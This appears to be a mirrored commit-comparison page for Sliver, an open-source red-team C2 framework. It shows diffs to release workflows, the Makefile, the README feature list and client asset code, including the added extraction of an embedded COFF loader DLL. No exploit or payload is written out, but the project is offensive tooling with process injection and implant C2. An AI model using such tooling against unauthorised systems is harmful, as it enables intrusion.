mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fb573bb122 | ||
|
|
f780f70318 | ||
|
|
12c6a57362 | ||
|
|
afc8ccd61d | ||
|
|
5b3f1eeb7b |
No files matched your search
@@ -3,7 +3,7 @@ name: Release
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master, goreleaser]
|
||||
branches: [master]
|
||||
|
||||
jobs:
|
||||
|
||||
@@ -35,8 +35,6 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
@@ -46,11 +44,7 @@ jobs:
|
||||
path: ./sliver-*
|
||||
|
||||
- name: Make Windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -83,14 +77,10 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
# - name: Make ARM64
|
||||
# run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -108,18 +98,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
|
||||
- run: mkdir -p ./builds
|
||||
- run: mkdir -p ./release && mkdir -p ./artifacts
|
||||
- uses: actions/download-artifact@v2
|
||||
with:
|
||||
path: ./builds
|
||||
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
path: ./artifacts
|
||||
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
@@ -127,34 +109,43 @@ jobs:
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
- name: Release
|
||||
run: mkdir -p ./release
|
||||
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
|
||||
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
|
||||
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
|
||||
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
|
||||
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
|
||||
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
|
||||
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
|
||||
|
||||
# MacOS ARM64
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
# - name: Package MacOS ARM64
|
||||
# run: |
|
||||
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
|
||||
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: true
|
||||
prerelease: false
|
||||
files: |
|
||||
./artifacts/*
|
||||
./release/*
|
||||
@@ -40,5 +40,3 @@ sliver-server-windows.zip
|
||||
.glide/
|
||||
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.6
|
||||
FROM golang:1.17.5
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -3,51 +3,36 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
PKG = github.com/bishopfox/sliver/client/version
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date cut $(GO)
|
||||
EXECUTABLES = uname sed git zip date $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 17
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
|
||||
@@ -85,43 +70,41 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-extldflags '-static' \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
default: clean
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
macos: clean
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
macos-arm64: clean
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
linux: clean
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
windows: clean
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
@@ -131,17 +114,6 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: clean-all
|
||||
clean-all: clean
|
||||
rm -rf ./server/assets/fs/darwin/amd64
|
||||
@@ -152,4 +124,5 @@ clean-all: clean
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client_arm64 sliver-server_arm64
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
@@ -1,7 +1,7 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
@@ -17,11 +17,13 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Windows process migration, process injection, user token manipulation, etc.
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
* Windows user token manipulation
|
||||
* Anti-fingerprinting features
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* TCP and named pipe pivots
|
||||
* Much more!
|
||||
|
||||
### Getting Started
|
||||
|
||||
@@ -1 +1,9 @@
|
||||
fs/**
|
||||
fs/*.zip
|
||||
fs/extensions/darwin/amd64/
|
||||
fs/extensions/darwin/arm64/
|
||||
fs/extensions/linux/amd64/
|
||||
fs/extensions/windows/amd64/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/linux/386/
|
||||
fs/extensions/windows/386/
|
||||
@@ -1,65 +0,0 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
AliasesDirName = "aliases"
|
||||
)
|
||||
|
||||
// GetAliasesDir - Returns the path to the config dir
|
||||
func GetAliasesDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, AliasesDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledAliasManifests - Returns a list of installed alias manifests
|
||||
func GetInstalledAliasManifests() []string {
|
||||
aliasDir := GetAliasesDir()
|
||||
aliasDirContent, err := ioutil.ReadDir(aliasDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range aliasDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -1,63 +0,0 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
armoryConfigFileName = "armories.json"
|
||||
)
|
||||
|
||||
var (
|
||||
DefaultArmoryPublicKey string
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
RepoURL: DefaultArmoryRepoURL,
|
||||
}
|
||||
)
|
||||
|
||||
type ArmoryConfig struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := ioutil.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigs)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
+72
-11
@@ -19,28 +19,49 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var (
|
||||
//go:embed fs/extensions/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
|
||||
versionFileName = "version"
|
||||
// SliverExtensionsDirName - Directory storing the client side extensions
|
||||
SliverExtensionsDirName = "extensions"
|
||||
versionFileName = "version"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
func GetRootAppDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := filepath.Join(user.HomeDir, SliverClientDirName)
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -52,7 +73,7 @@ func GetRootAppDir() string {
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
@@ -60,7 +81,7 @@ func assetVersion() string {
|
||||
}
|
||||
|
||||
func saveAssetVersion(appDir string) {
|
||||
versionFilePath := filepath.Join(appDir, versionFileName)
|
||||
versionFilePath := path.Join(appDir, versionFileName)
|
||||
fVer, _ := os.Create(versionFilePath)
|
||||
defer fVer.Close()
|
||||
fVer.Write([]byte(ver.GitCommit))
|
||||
@@ -72,12 +93,12 @@ func Setup(force bool, echo bool) {
|
||||
localVer := assetVersion()
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
fmt.Printf("Unpacking assets ...\n")
|
||||
}
|
||||
err := setupCoffLoaderExt(appDir)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
log.Fatal(err)
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
@@ -85,3 +106,43 @@ under certain conditions; type 'licenses' for details.`)
|
||||
SaveSettings(nil)
|
||||
}
|
||||
}
|
||||
|
||||
func setupCoffLoaderExt(appDir string) error {
|
||||
extDir := GetExtensionsDir()
|
||||
win32ExtDir := path.Join("windows", "386")
|
||||
win64ExtDir := path.Join("windows", "amd64")
|
||||
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
|
||||
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
|
||||
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
|
||||
loader64, err := assetsFs.ReadFile(coffLoader64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
loader32, err := assetsFs.ReadFile(coffLoader32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manifest, err := assetsFs.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin32ExtDir := path.Join(extDir, win32ExtDir)
|
||||
err = os.MkdirAll(localWin32ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin64ExtDir := path.Join(extDir, win64ExtDir)
|
||||
err = os.MkdirAll(localWin64ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
|
||||
}
|
||||
@@ -49,7 +49,7 @@ type ClientConfig struct {
|
||||
// GetConfigDir - Returns the path to the config dir
|
||||
func GetConfigDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, ConfigDirName)
|
||||
dir := path.Join(rootDir, ConfigDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -86,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
|
||||
// ReadConfig - Load config into struct
|
||||
func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
confFile, err := os.Open(confFilePath)
|
||||
defer confFile.Close()
|
||||
if err != nil {
|
||||
log.Printf("Open failed %v", err)
|
||||
return nil, err
|
||||
}
|
||||
defer confFile.Close()
|
||||
data, err := ioutil.ReadAll(confFile)
|
||||
if err != nil {
|
||||
log.Printf("Read failed %v", err)
|
||||
@@ -108,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
// SaveConfig - Save a config to disk
|
||||
func SaveConfig(config *ClientConfig) error {
|
||||
if config.LHost == "" || config.Operator == "" {
|
||||
return errors.New("empty config")
|
||||
return errors.New("Empty config")
|
||||
}
|
||||
configDir := GetConfigDir()
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
|
||||
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
|
||||
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
|
||||
configJSON, _ := json.Marshal(config)
|
||||
err := ioutil.WriteFile(saveTo, configJSON, 0600)
|
||||
if err != nil {
|
||||
|
||||
@@ -1,66 +0,0 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
